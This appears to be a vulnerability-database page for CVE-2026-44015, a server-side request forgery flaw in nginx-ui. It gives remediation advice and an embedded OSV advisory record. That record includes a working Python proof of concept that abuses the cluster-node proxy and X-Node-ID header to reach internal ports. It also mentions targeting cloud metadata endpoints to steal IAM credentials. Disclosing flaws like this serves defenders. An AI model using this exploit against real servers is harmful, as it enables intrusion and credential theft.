CVE-2026-44015: Github.com/0xJacky/Nginx UI Nginx-UI Has Server-Side Request Forgery Vulnerability
HIGHCVE-2026-44015 is a HIGH (CVSS 8.5) nginx-ui has server-side request forgery vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Github.com/0xJacky/Nginx UI libraries in the Go ecosystem. The issue involves nginx-ui has server-side request forgery (ssrf) via cluster proxy middleware that allows access to internal services. Remediation is available in the latest vendor maintenance releases.
CVE-2026-44015 at a Glance
Security Impact
CVSS: 8.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).
How to Fix CVE-2026-44015
To remediate this vulnerability, upgrade all affected Github.com/0xJacky/Nginx UI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/0xJacky/Nginx-UI to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/0xJacky/Nginx-UI
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-44015, inspect your project dependencies for Github.com/0xJacky/Nginx UI:
inspect dependencies for github.com/0xJacky/Nginx-UI
Analyze the terminal output to locate any version of Github.com/0xJacky/Nginx UI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Github.com/0xJacky/Nginx UI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-44015 Affected Github.com/0xJacky/Nginx UI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/0xJacky/Nginx-UI
|
Go |
≤ 2.3.4
|
|
References
Frequently Asked Questions
What is CVE-2026-44015?
Which Github.com/0xJacky/Nginx UI versions are affected?
What version fixes CVE-2026-44015?
Is github.com/0xJacky/Nginx-UI affected?
What is the CVSS score of CVE-2026-44015?
What CWE is associated with CVE-2026-44015?
How can I check Go dependencies for CVE-2026-44015?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-wr32-99hh-6f35",
"modified" : "2026-05-13T16:31:42Z",
"published" : "2026-04-29T20:54:54Z",
"aliases" : [ "CVE-2026-44015" ],
"summary" : "Nginx-UI has Server-Side Request Forgery (SSRF) via Cluster Proxy Middleware that Allows Access to Internal Services",
"details" : "### Summary\n\nAn authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the `X-Node-ID` header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.\n\n### Details\n\nThe nginx-ui Proxy middleware (`internal/middleware/proxy.go`) intercepts API requests containing an `X-Node-ID` header and forwards them to the URL of the corresponding cluster node. An attacker can:\n\n1. Read the `node_secret` from `GET /api/settings` (accessible to any authenticated user)\n2. Create a cluster node via `POST /api/nodes` pointing to any internal URL:\n```json\n{\n \"name\": \"ssrf_node\",\n \"url\": \"http://127.0.0.1:51820\",\n \"token\": \"<node_secret>\",\n \"enabled\": true\n}\n```\n3. Send any API request with the `X-Node-ID` header set to the created node's ID:\n```\nGET /api/settings HTTP/1.1\nAuthorization: <token>\nX-Node-ID: 1\n```\n4. The Proxy middleware forwards this request to `http://127.0.0.1:51820/api/settings`, making a server-side request to the internal address.\n\n**Vulnerable code path:**\n- `internal/middleware/proxy.go` — `Proxy()`: no validation of the node URL; allows `127.0.0.1`, `localhost`, internal IPs, cloud metadata endpoints, etc.\n\nThe node URL is not restricted to external addresses or validated against an allowlist. Combined with the njs Code Injection vulnerability (separate advisory), this SSRF is used to trigger the njs payload executing on an internal-only nginx port, completing the RCE chain.\n\n### PoC\n\n```python\nimport requests\n\nBASE = \"http://TARGET:9000\"\nTOKEN = \"<authenticated_jwt_token>\"\nHDR = {\"Authorization\": TOKEN}\n\n# Step 1: Get node_secret\nsettings = requests.get(f\"{BASE}/api/settings\", headers=HDR).json()\nnode_secret = settings[\"node\"][\"secret\"]\n\n# Step 2: Create SSRF node pointing to internal service\nresp = requests.post(f\"{BASE}/api/nodes\", headers=HDR, json={\n \"name\": \"ssrf\",\n \"url\": \"http://127.0.0.1:51820\", # internal-only port\n \"token\": node_secret,\n \"enabled\": True,\n})\nnode_id = resp.json()[\"id\"]\n\n# Step 3: SSRF — request is forwarded to http://127.0.0.1:51820/api/settings\nresp = requests.get(\n f\"{BASE}/api/settings\",\n headers={**HDR, \"X-Node-ID\": str(node_id)},\n)\nprint(resp.status_code, resp.text[:200])\n# Response comes from the INTERNAL service, not nginx-ui\n```\n\nThis can also target cloud metadata endpoints (e.g., `http://169.254.169.254/latest/meta-data/`) or any other internal service.\n\n### Impact\n\nAn authenticated attacker can:\n\n- **Access internal services** bound to localhost or private networks that are not intended to be externally reachable\n- **Access cloud metadata endpoints** (AWS/GCP/Azure instance metadata) to steal IAM credentials\n- **Port-scan internal networks** by creating nodes pointing to different internal IPs/ports\n- **Trigger internal-only njs endpoints** to escalate privileges (as demonstrated in the companion RCE advisory)\n- **Bypass network segmentation** and firewalls that only restrict inbound traffic",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/0xJacky/Nginx-UI"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "2.3.4"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-wr32-99hh-6f35"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44015"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/0xJacky/nginx-ui"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-29T20:54:54Z",
"nvd_published_at" : "2026-05-12T22:16:35Z"
}
}